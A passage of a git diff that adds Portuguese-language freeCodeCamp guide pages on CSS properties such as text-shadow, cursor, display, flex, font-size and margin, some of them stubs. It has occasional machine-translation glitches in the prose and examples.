+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-columns-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-text-shadow-property/index.md b/client/src/guide/portuguese/css/properties/css3-text-shadow-property/index.md
new file mode 100644
index 0000000000..5643fac2ce
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-text-shadow-property/index.md
@@ -0,0 +1,20 @@
+---
+title: CSS3 Text Shadow Property
+localeTitle: Propriedade de sombra de texto CSS3
+---
+## Propriedade de sombra de texto CSS3
+
+A propriedade de sombra de texto adiciona sombra ao texto. Cada sombra é a combinação de deslocamentos X e Y do elemento original, raio de desfoque e cor. \`\` \`css Sintaxe Css
+
+text-shadow: cor do raio de desfoque do deslocamento X com desvio X
+```
+**Example :** 
+```
+
+css p { text-shadow: 2px 2px 8px # FF0000; } \`\` \`
+
+#### Mais Informações:
+
+[Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
+
+[w3schools](https://www.w3schools.com/cssref/css3_pr_text-shadow.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-transform-property/index.md b/client/src/guide/portuguese/css/properties/css3-transform-property/index.md
new file mode 100644
index 0000000000..13db636cfe
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-transform-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Transform Property
+localeTitle: Propriedade Transformar CSS3
+---
+## Propriedade Transformar CSS3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-transform-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-word-wrap-property/index.md b/client/src/guide/portuguese/css/properties/css3-word-wrap-property/index.md
new file mode 100644
index 0000000000..297e2884e5
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-word-wrap-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Word Wrap Property
+localeTitle: Propriedade de quebra automática de palavras CSS3
+---
+## Propriedade de quebra automática de palavras CSS3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-word-wrap-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/cursor-property/index.md b/client/src/guide/portuguese/css/properties/cursor-property/index.md
new file mode 100644
index 0000000000..763a734562
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/cursor-property/index.md
@@ -0,0 +1,50 @@
+---
+title: Cursor Property
+localeTitle: Propriedade do cursor
+---
+## Propriedade do cursor
+
+A propriedade cursor especifica o tipo de cursor a ser exibido quando você passa o mouse sobre um elemento. Tem 36 valores possíveis:
+
+```css
+    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+```
+
+#### Mais Informações:
+
+Verifique os valores do cursor acima em ação: [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+
+Rede de desenvolvedores Mozilla: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+
+Suporte ao Navegador: [caniuse](http://caniuse.com/#search=cursor)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/display-property/index.md b/client/src/guide/portuguese/css/properties/display-property/index.md
new file mode 100644
index 0000000000..c960206a74
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/display-property/index.md
@@ -0,0 +1,28 @@
+---
+title: Display Property
+localeTitle: Propriedade de exibição
+---
+## Propriedade de exibição
+
+A propriedade display especifica o tipo de caixa usado para um elemento HTML. Tem 20 valores possíveis de palavras-chave. Os mais usados ​​são:
+
+```css
+    .none             {display: none;} 
+    .block            {display: block;} 
+    .inline-block     {display: inline-block;} 
+    .inline           {display: inline;} 
+    .flex             {display: flex;} 
+    .inline-flex      {display: inline-flex;} 
+    .inline-table     {display: inline-table;} 
+    .table            {display: table;} 
+    .inherit          {display: inherit;} 
+    .initial          {display: initial;} 
+```
+
+#### Mais Informações:
+
+Documentos e lista completa de valores de palavras-chave: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+
+Suporte ao Navegador: [caniuse](http://caniuse.com/#search=display)
+
+Um Guia Completo para o Flexbox: [css-tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/flex-property/index.md b/client/src/guide/portuguese/css/properties/flex-property/index.md
new file mode 100644
index 0000000000..98c6cc830d
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/flex-property/index.md
@@ -0,0 +1,35 @@
+---
+title: Flex Property
+localeTitle: Propriedade Flex
+---
+## Propriedade Flex
+
+`flex` propriedade `flex` é uma abreviação para especificar o tamanho de um item flexível. `flex-grow` , `flex-shrink` e `flex-basis` podem ser especificados dentro desta propriedade abreviada.
+
+**Esta propriedade não tem efeito se o elemento não for um `flex-item`** . O item flexível é um elemento que é um filho direto de um pai recipiente com propriedade de exibição como `flex` ou `inline-flex` .
+
+## Sintaxe
+
+Possíveis variações na sintaxe listadas abaixo. `flex-grow` e `flex-shrink` pegam um número inteiro como valor. `flex-basis` leva unidades de tamanho regular, como px, em, rem… etc.
+
+```css
+flex: <flex-grow> <flex-shrink> <flex-basis>; 
+ flex: <flex-basis>; 
+ flex: <flex-grow>; 
+ flex: <flex-grow> <flex-basis>; 
+ flex: <flex-grow> <flex-shrink>; 
+```
+
+`flex-basis` especifica o tamanho do elemento ao longo do eixo principal. Dentro de um contêiner, o eixo principal é definido por `flex-direction` . O eixo principal é horizontal quando o `flex-direction` é `row` . Vertical quando a `flex-direction` do `flex-direction` é `column` .
+
+`flex-basis: 20px` a largura inicial do elemento para `20px` se a `flex-direction` do `flex-direction` fosse `row` . A mesma `flex-basis` se aplicaria à altura se a `fle-direction` for `column` .
+
+`flex: 20px` significaria automaticamente `flex-basis: 20px` , como a propriedade abreviada tem apenas `flex-basis` como a propriedade que pode receber um valor com unit.
+
+`flex: 2` especifica `flex-grow: 2` e o elemento cresceria duas vezes mais ou mais alto que outros elementos com `flex-grow: 1` .
+
+`flex: 1 2` especifica `flex-grow: 1` e `flex-shrink: 2` . O elemento cresce para ocupar espaço vazio em proporção com outros elementos com `flex-grow: 1` mas encolhe duas vezes menor quando comparado a outros elementos com `flex-shrink: 1` quando pressionado contra o espaço.
+
+### Mais Informações
+
+*   referência de propriedade `flex` no [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/flex)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/float-property/index.md b/client/src/guide/portuguese/css/properties/float-property/index.md
new file mode 100644
index 0000000000..aafe0fa5ec
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/float-property/index.md
@@ -0,0 +1,21 @@
+---
+title: Float Property
+localeTitle: Propriedade Float
+---
+## Propriedade Float
+
+A propriedade `float` permite que um elemento flutue à esquerda ou à direita de outro elemento. Um uso primário do `float` é ter uma imagem à esquerda ou à direita de um bloco de texto.
+
+```css
+.my-element { 
+  float: left; 
+  float: right; 
+  float: inline-start; 
+  float: inline-end; 
+  float: none; 
+ } 
+```
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/float)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-family-property/index.md b/client/src/guide/portuguese/css/properties/font-family-property/index.md
new file mode 100644
index 0000000000..bc40d5039d
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-family-property/index.md
@@ -0,0 +1,52 @@
+---
+title: Font Family Property
+localeTitle: Propriedade da família de fontes
+---
+## Propriedade da família de fontes
+
+A propriedade da família de fontes é uma propriedade em CSS. Os desenvolvedores o usam para alterar a família de fontes (ou "fonte") do texto de um site ou uma parte do texto de um site.
+
+Exemplos de fontes incluem Arial, Georgia, Times New Roman e muito mais!
+
+Para alterar a fonte de uma parte do texto, digite o seletor do texto específico e um par de chaves. Dentro dos colchetes, digite `font-family:` e, em seguida, o nome da fonte. Se o nome da fonte tiver mais de uma palavra, você precisará usar aspas simples ou duplas. Caso contrário, aspas não são necessárias.
+
+```html
+
+<p>This font will be in Times New Roman.</p> 
+```
+
+```css
+p { 
+  font-family: 'Times New Roman'; 
+ } 
+```
+
+Mas muitas pessoas diferentes com computadores diferentes navegam na Web globalmente. Isso significa que nem todos terão o Times New Roman instalado em seus computadores. Para ajudar esses usuários, você deve adicionar fontes de fallback. As fontes de fallback são outras fontes que o navegador usará caso a primeira fonte esteja indisponível. Adicione uma vírgula após a primeira fonte e adicione o nome da primeira fonte de fallback. Você pode usar mais de uma fonte de fallback.
+
+```html
+
+<p>This font may or may not be in Lato.</p> 
+```
+
+```css
+p { 
+  font-family: Lato, Helvetica, Georgia; 
+  /* Helvetica and Georgia are fallback fonts */ 
+ } 
+```
+
+Se o usuário não tiver o Lato instalado primeiro, o navegador tentará usar a Helvetica. Se o usuário também não tiver Helvetica, o navegador tentará usar a Geórgia. Se o usuário não tiver a Geórgia, o navegador usará uma fonte instalada no computador do usuário.
+
+Para fontes de fallback, você pode usar fontes nomeadas como Georgia. Você também pode usar tipos gerais como "sans-serif", "serif", "monospace" e outros. Fontes sem serifa, como Lato, são fontes sem linhas pequenas nas extremidades de letras e números. Fontes com serifa, como Times New Roman, usam linhas pequenas nas extremidades de letras e números. Fontes monoespaçadas, como Consolas, possuem letras e números que são todos da mesma largura.
+
+```html
+
+<p>This font may or may not be in Lato.</p> 
+```
+
+```css
+p { 
+  font-family: Lato, sans-serif, monospace; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-property/index.md b/client/src/guide/portuguese/css/properties/font-property/index.md
new file mode 100644
index 0000000000..81c75f76fe
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Font Property
+localeTitle: Propriedade de fonte
+---
+## Propriedade de fonte
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/font-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-size-property/index.md b/client/src/guide/portuguese/css/properties/font-size-property/index.md
new file mode 100644
index 0000000000..10d9c157cc
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-size-property/index.md
@@ -0,0 +1,99 @@
+---
+title: Font Size Property
+localeTitle: Propriedade do tamanho da fonte
+---
+## Propriedade do tamanho da fonte
+
+### Definição e Uso
+
+A propriedade `font-size` é usada para definir o tamanho da fonte de um elemento. Abaixo está a sintaxe padrão para essa propriedade.
+
+```css
+font-size:medium|xx-small|x-small|small|large|x-large|xx-large|smaller|larger|length|initial|inherit; 
+```
+
+Como mostrado acima, essa propriedade pode levar vários valores. O valor padrão é _médio_ e os valores de _xx-small_ a _xx-large_ definem o tamanho da fonte de muito pequeno para muito grande (como tamanhos de roupas). Os valores _menores_ e _maiores_ definem o tamanho da fonte como menor que o tamanho da fonte do elemento pai e maior que o tamanho da fonte do elemento pai, respectivamente. Apesar da disponibilidade dos valores acima mencionados, o tipo mais comum de valor usado é uma unidade de comprimento. Unidades de comprimento podem incluir: **px** , **%** , **em** , **rem** e **pt** .
+
+### Unidades de comprimento explicadas
+
+#### px
+
+Você pode usar a unidade \* _px_ para definir um tamanho de fonte fixo para um elemento em pixels. Um pixel é um ponto na tela do usuário. Como os pixels fornecem um tamanho de fonte fixo, o tamanho da fonte não pode ser responsivo. Isso é negativo porque os tamanhos das fontes podem não aparecer bem em diferentes dimensões da tela e você teria que usar consultas de mídia para fazer a escala da fonte.
+
+**Exemplo:**
+
+```css
+p { 
+  font-size: 20px; 
+ } 
+```
+
+**Resultado:** ![Exemplo um](https://image.prntscr.com/image/TI_29z3FRO20dJD2Dc7JJA.png)
+
+#### %
+
+Você pode usar a porcentagem **%** unit para definir o tamanho da fonte em relação ao tamanho da fonte do elemento do corpo. O padrão é 16px, então 100% seria igual a 16px. Se o tamanho da fonte do corpo for alterado, o tamanho da fonte de qualquer elemento contido no corpo que tenha um valor como porcentagem também será alterado. Esta unidade permite que a fonte seja dimensionada em vários tamanhos de tela.
+
+**Exemplo:**
+
+```css
+p { 
+  font-size: 120%; 
+ } 
+```
+
+**Resultado:** ![Exemplo dois](https://image.prntscr.com/image/P9HTpWbETeyjZhxzf9z-SA.png) O código acima altera o tamanho da fonte para 120% do tamanho da fonte padrão, que é 16px.
+
+#### em
+
+Outra unidade que pode ser usada para o tamanho da fonte é a unidade **em** . Uma unidade **em** é igual ao tamanho de fonte padrão do elemento pai mais próximo. Isso significa que 2em seria o dobro do tamanho da fonte e 4em seria 4 vezes o tamanho da fonte. A unidade **em** está se tornando mais popular, já que pode escalar e é compatível com dispositivos móveis.
+
+**Exemplo:**
+
+```css
+p { 
+  font-size: 1.4em; 
+ } 
+```
+
+**Resultado:** ![Exemplo três](https://image.prntscr.com/image/AeCJ0TCbRHqOTAFJ9CYNUQ.png) O código acima define o tamanho da fonte do parágrafo para 1,4 vezes o tamanho da fonte de seu pai mais próximo, que é o elemento body. O elemento body tem um tamanho de fonte padrão de 16px, portanto, esse parágrafo teria um tamanho de fonte de 1,4 \* 16 = 22,4px.
+
+#### rem
+
+A unidade **rem** é muito semelhante à unidade **em** , mas o tamanho da fonte é relativo ao tamanho da fonte padrão do elemento-raiz. O elemento-raiz é o elemento `<html>` .
+
+**Exemplo:**
+
+```css
+html { 
+    font-size: 12px; 
+ } 
+ p { 
+    font-size: 1.4rem; 
+ } 
+```
+
+**Resultado:** ![Exemplo quatro](https://image.prntscr.com/image/V5bn69UmSPOHSVM5YSAcyw.png) O parágrafo acima tem um tamanho de fonte de 1,4em. Desta vez, o tamanho da fonte do elemento raiz foi alterado para 12px, então a fonte do parágrafo agora é 12 \* 1,4 = 16.8px. A unidade **rem** não considera a fonte do elemento body, apesar do fato de ainda ser 16px.
+
+#### pt
+
+A unidade final para tamanhos de fonte é o valor do ponto ( **pt** ). Este valor é relativo aos tamanhos reais do texto. Um **pt** é igual a 1/72 polegadas no papel, então 72pt é igual a 1 polegada. Os valores dos pontos são precisos no papel, mas podem parecer diferentes em diferentes navegadores. Esta unidade só é útil quando você precisa imprimir páginas com um tamanho de fonte preciso. A unidade **pt** não é escalável.
+
+**Exemplo:**
+
+```css
+p { 
+  font-size: 16pt; 
+ } 
+```
+
+**Resultado:** ![Exemplo cinco](https://image.prntscr.com/image/IyOOr_WCT963wa0DoWyoOg.png) O tamanho da fonte acima é 16pt.
+
+Anexei alguns links de artigos abaixo se quiser ler mais sobre esse tópico.
+
+#### Mais Informações:
+
+*   https://css-tricks.com/css-font-size/
+*   https://www.w3schools.com/cssref/pr _font_ font-size.asp
+*   https://css-tricks.com/confused-rem-em/
+*   https://kyleschaeffer.com/development/css-font-size-em-vs-px-vs-pt-vs/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-style-property/index.md b/client/src/guide/portuguese/css/properties/font-style-property/index.md
new file mode 100644
index 0000000000..c437577eec
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-style-property/index.md
@@ -0,0 +1,19 @@
+---
+title: Font Style Property
+localeTitle: Propriedade de estilo de fonte
+---
+## Propriedade de estilo de fonte
+
+`font-style` propriedade `font-style` permite que você altere o estilo da fonte, o que significa que você pode deixar a fonte em itálico. Esta propriedade aceita os seguintes valores:
+
+*   `normal` - valor padrão.
+*   `italic` - A fonte fica em itálico selecionando a fonte classificada em itálico em sua família de fontes.
+*   `oblique` - A fonte classificada como oblíqua em sua família de fontes é usada.
+
+`Italic` e `oblique` pode parecer semelhante. De acordo com o [MDN](https://developer.mozilla.org/en-US/) _oblíquo são apenas a versão inclinada do rosto regular_ .  
+Você também pode especificar o ângulo para o grau de inclinação da fonte ao fornecer um valor `oblique` . Se o ângulo não for fornecido, 14 graus serão usados ​​como padrão.
+
+#### Mais Informações:
+
+*   [MDN - estilo de fonte](https://developer.mozilla.org/en-US/docs/Web/CSS/font-style)
+*   [CSS-Tricks - estilo de fonte](https://css-tricks.com/almanac/properties/f/font-style/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-variant-property/index.md b/client/src/guide/portuguese/css/properties/font-variant-property/index.md
new file mode 100644
index 0000000000..399946d0fd
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-variant-property/index.md
@@ -0,0 +1,25 @@
+---
+title: Font Variant
+localeTitle: Variante de Fontes
+---
+## Propriedade de Variante de Fonte
+
+A propriedade font-variant é mais comumente usada para alterar texto direcionado para small caps. O valor padrão é `normal` .
+
+```css
+p { 
+  font-variant: small-caps; 
+ } 
+```
+
+A propriedade também aceita `all-small-caps` , `petite-caps` , `all-petite-caps` , `titling-caps` e `unicase` ; no entanto, eles são novos no CSS3 e ainda não são bem suportados.
+
+Observe que, se você usar maiúsculas na marcação HTML, isso substituirá o valor de maiúsculas pequenas, resultando em letras maiúsculas comuns. Se você quiser manter a marcação em maiúsculas, mas mudar para small caps com CSS, basta definir `text-transform: lowercase` junto com sua declaração small caps.
+
+Enquanto as maiúsculas pequenas podem adicionar um pouco mais de elegância à sua tipografia, os designers recomendam usá-las apenas se forem realmente incorporadas na fonte. As maiúsculas "falsas" são versões reduzidas, geradas por computador, de letras maiúsculas. Por outro lado, as small caps "reais" são desenhadas separadamente pelo designer de tipos e parecem um pouco mais largas e mais largas do que as "falsas".
+
+#### Mais Informações:
+
+[Design para Hackers](https://designforhackers.com/blog/small-caps/)
+
+[Variante de fonte no MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/font-weight-property/index.md b/client/src/guide/portuguese/css/properties/font-weight-property/index.md
new file mode 100644
index 0000000000..2393862333
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/font-weight-property/index.md
@@ -0,0 +1,22 @@
+---
+title: Font Weight Property
+localeTitle: Propriedade de peso da fonte
+---
+## Propriedade de peso da fonte
+
+O peso da fonte pode ser definido como maior ou menor usando a propriedade `font-weight` . Os valores disponíveis para `font-weight` são `normal` , `bold` , `lighter` , `bolder` e um valor numérico.
+
+```css
+  font-weight: lighter; 
+  font-weight: bolder; 
+  font-weight: bold; 
+  font-weight: light; 
+  font-weight: 100; 
+  font-weight: 900; 
+```
+
+Os valores mais ousados ​​e ousados ​​aumentam o peso da fonte e a luz e diminuem o peso.
+
+#### Mais Informações
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/index.md b/client/src/guide/portuguese/css/properties/index.md
new file mode 100644
index 0000000000..a86cba5195
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/index.md
@@ -0,0 +1,7 @@
+---
+title: Properties
+localeTitle: Propriedades
+---
+#### Versão preliminar do artigo:
+
+As propriedades CSS afetam como os elementos em um site são exibidos. Explicação de como construir regras CSS usando pares de valor de propriedade, com exemplos
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/letter-spacing-property/index.md b/client/src/guide/portuguese/css/properties/letter-spacing-property/index.md
new file mode 100644
index 0000000000..64ae2683b4
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/letter-spacing-property/index.md
@@ -0,0 +1,29 @@
+---
+title: Letter Spacing Property
+localeTitle: Propriedade de espaçamento entre letras
+---
+## Propriedade de espaçamento entre letras
+
+A propriedade de espaçamento entre letras ajusta o espaço entre todas as letras em um bloco de texto. Ele também é chamado de "rastreamento" em termos de tipografia e em software com opções avançadas de configuração de tipos. A propriedade aceita `em` valores `px` e `em` comprimento, incluindo valores negativos.
+
+```css
+.first-example { 
+  letter-spacing: 3px; 
+ } 
+ .second-example { 
+  letter-spacing: -1px; 
+ } 
+ .third-example { 
+  letter-spacing: 0.5em; 
+ } 
+```
+
+![resultado de CSS](https://github.com/kaithrendyle/guide-photos/blob/master/letter-spacing.png)
+
+Em geral, é uma boa prática usar unidades relativas ( `em` ) porque o espaçamento será sempre relativo ao tamanho da fonte que você declarou.
+
+É importante considerar a legibilidade ao ajustar o espaçamento entre letras. Se as letras estiverem muito juntas, elas podem parecer apertadas e difíceis de ler. Por outro lado, se as letras estiverem muito distantes, elas podem não ler como uma palavra, mas como letras individuais. Isso também pode afetar como os leitores de tela lêem o texto em voz alta para pessoas com baixa visão.
+
+Em geral, letras minúsculas normalmente não precisam do espaçamento entre letras ajustado. Você pode precisar de ajustes ao usar seções maiúsculas se o espaçamento estiver muito apertado.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/line-height-property/index.md b/client/src/guide/portuguese/css/properties/line-height-property/index.md
new file mode 100644
index 0000000000..690c4bd84f
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/line-height-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Line Height Property
+localeTitle: Propriedade de altura da linha
+---
+## Propriedade de altura da linha
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/line-height-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/list-style-type-property/index.md b/client/src/guide/portuguese/css/properties/list-style-type-property/index.md
new file mode 100644
index 0000000000..a34d5fc4db
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/list-style-type-property/index.md
@@ -0,0 +1,19 @@
+---
+title: List Style Type Property
+localeTitle: Propriedade de tipo de estilo de lista
+---
+## Propriedade de tipo de estilo de lista
+
+Essa propriedade altera a aparência do marcador de item da lista. O valor padrão é `disc` . Você também pode atribuir um valor a `none` se não quiser que os marcadores de item sejam exibidos. Faz parte da propriedade de `list-style` abreviada.
+
+A seguir, um grupo de listas que indicam algumas possíveis palavras-chave e seus respectivos resultados. Uma lista mais completa pode ser encontrada no [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type) , mas esteja ciente de que o suporte ao navegador pode ser limitado para algumas palavras-chave mais novas.
+
+![exemplos de lista](https://github.com/kaithrendyle/guide-photos/blob/master/lists-1.png)
+
+![exemplos de lista](https://github.com/kaithrendyle/guide-photos/blob/master/lists-2.png)
+
+\* Nota: `upper-latin` `upper-alpha` produzem os mesmos resultados, assim como o `lower-latin` `lower-alpha` . A única diferença é que `upper-latin` `lower-latin` não são suportados no IE6 ou IE7.
+
+#### Mais Informações:
+
+[Propriedade do tipo de estilo de lista no MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/margin-property/index.md b/client/src/guide/portuguese/css/properties/margin-property/index.md
new file mode 100644
index 0000000000..208a891957
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/margin-property/index.md
@@ -0,0 +1,76 @@
+---
+title: Margin Property
+localeTitle: Propriedade de Margem
+---
+## Propriedade de Margem
+
+A propriedade margin é o espaço em torno de um elemento, em oposição ao preenchimento, que é o espaço dentro do elemento. A margem é transparente e é o elemento mais externo no modelo de caixa (veja o diagrama abaixo).
+
+![Diagrama de modelo de caixa](https://css-tricks.com/wp-content/csstricks-uploads/thebox.png)
+
+Fonte: https://css-tricks.com/the-css-box-model/
+
+### Definindo Margem
+
+Existem várias maneiras de definir a margem de um elemento.
+
+O caminho mais simples ...
+
+```css
+  margin: 10px; 
+```
+
+Isso colocará 10 pixels de espaço completamente ao redor do elemento.
+
+Você também pode colocar diferentes quantidades de espaço em cada lado de um elemento. Por exemplo:
+
+```css
+  margin-top: 10px; 
+  margin-bottom: 15px; 
+  margin-left: 20px; 
+  margin-right: 25px; 
+```
+
+No entanto, existe uma abreviatura que pode ser usada ao definir diferentes lados de um elemento. Ele começa no topo e vai no sentido horário ao redor do elemento (superior, direita, inferior, esquerda). Por exemplo, o código sobre seria escrito de forma semelhante:
+
+```css
+  margin: 10px 25px 15px 25px; 
+```
+
+Além disso, se as margens inferior e superior forem as mesmas e as margens esquerda e direita forem as mesmas, pode ser escrito assim:
+
+```css
+  margin: 10px 20px; 
+```
+
+onde as margens superior e inferior são 10 pixels e as margens esquerda e direita são 20 pixels.
+
+### Outros valores de propriedade
+
+auto - o navegador calcula as margens.
+
+initial - define a propriedade para seu valor inicial
+
+inherit - element herda a margem do seu elemento pai
+
+### Espaço de medição
+
+Assim como há várias maneiras de definir a margem, também há várias maneiras de medir a margem.
+
+px - Medição em pixels, a unidade padrão de medição do espaço da tela.
+
+% - Porcentagem da tela. Isso fará com que o elemento diminua e cresça com o navegador e é uma das unidades de medida recomendadas para o design da Web responsivo.
+
+em tamanho unidade em relação ao tamanho da fonte do elemento atual.
+
+rem - size unit em relação ao tamanho da fonte do elemento raiz da página.
+
+[Aqui](https://www.w3schools.com/CSSref/css_units.asp) está um guia sobre unidades CSS.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+*   [Escolas W3](https://www.w3schools.com/CSSref/pr_margin.asp)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [Truques CSS](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/overflow-property/index.md b/client/src/guide/portuguese/css/properties/overflow-property/index.md
new file mode 100644
index 0000000000..f585652bb4
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/overflow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Overflow Property
+localeTitle: Propriedade Overflow
+---
+## Propriedade Overflow
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/overflow-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/padding-property/index.md b/client/src/guide/portuguese/css/properties/padding-property/index.md
new file mode 100644
index 0000000000..922492636c
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/padding-property/index.md
@@ -0,0 +1,17 @@
+---
+title: Padding Property
+localeTitle: Propriedade de preenchimento
+---
+## Propriedade de preenchimento
+
+A propriedade de `padding` CSS adiciona espaço interno entre o conteúdo e a borda do elemento. Você pode usar `padding-top` , `padding-right` , `padding-bottom` e `padding-left` para o lado específico do elemento, mas `padding` é uma versão abreviada de todas essas propriedades. E se:
+
+*   Um valor é fornecido e será aplicado a todos os lados do elemento
+*   Dois valores são fornecidos, o primeiro valor aplicará os lados superior e inferior e o segundo valor será aplicado aos lados esquerdo e direito do elemento.
+*   Três valores são fornecidos, o primeiro valor será aplicado ao topo, o segundo valor será aplicado à esquerda e à direita, o terceiro valor aplicará os lados inferiores do elemento.
+*   Quatro valores são fornecidos, os valores serão aplicados na seguinte ordem: superior, direita, inferior, esquerda.
+
+#### Mais Informações:
+
+*   [MDN - preenchimento](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [CSS-Tricks - preenchimento](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/position-property/index.md b/client/src/guide/portuguese/css/properties/position-property/index.md
new file mode 100644
index 0000000000..2672a47b87
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/position-property/index.md
@@ -0,0 +1,21 @@
+---
+title: Position Property
+localeTitle: Propriedade de posição
+---
+## Propriedade de posição
+
+A propriedade position especifica o tipo de método de posicionamento usado para um elemento. Tem cinco valores de palavras-chave:
+
+```css
+    .static         { position: static; } 
+    .relative       { position: relative; } 
+    .sticky         { position: sticky; } 
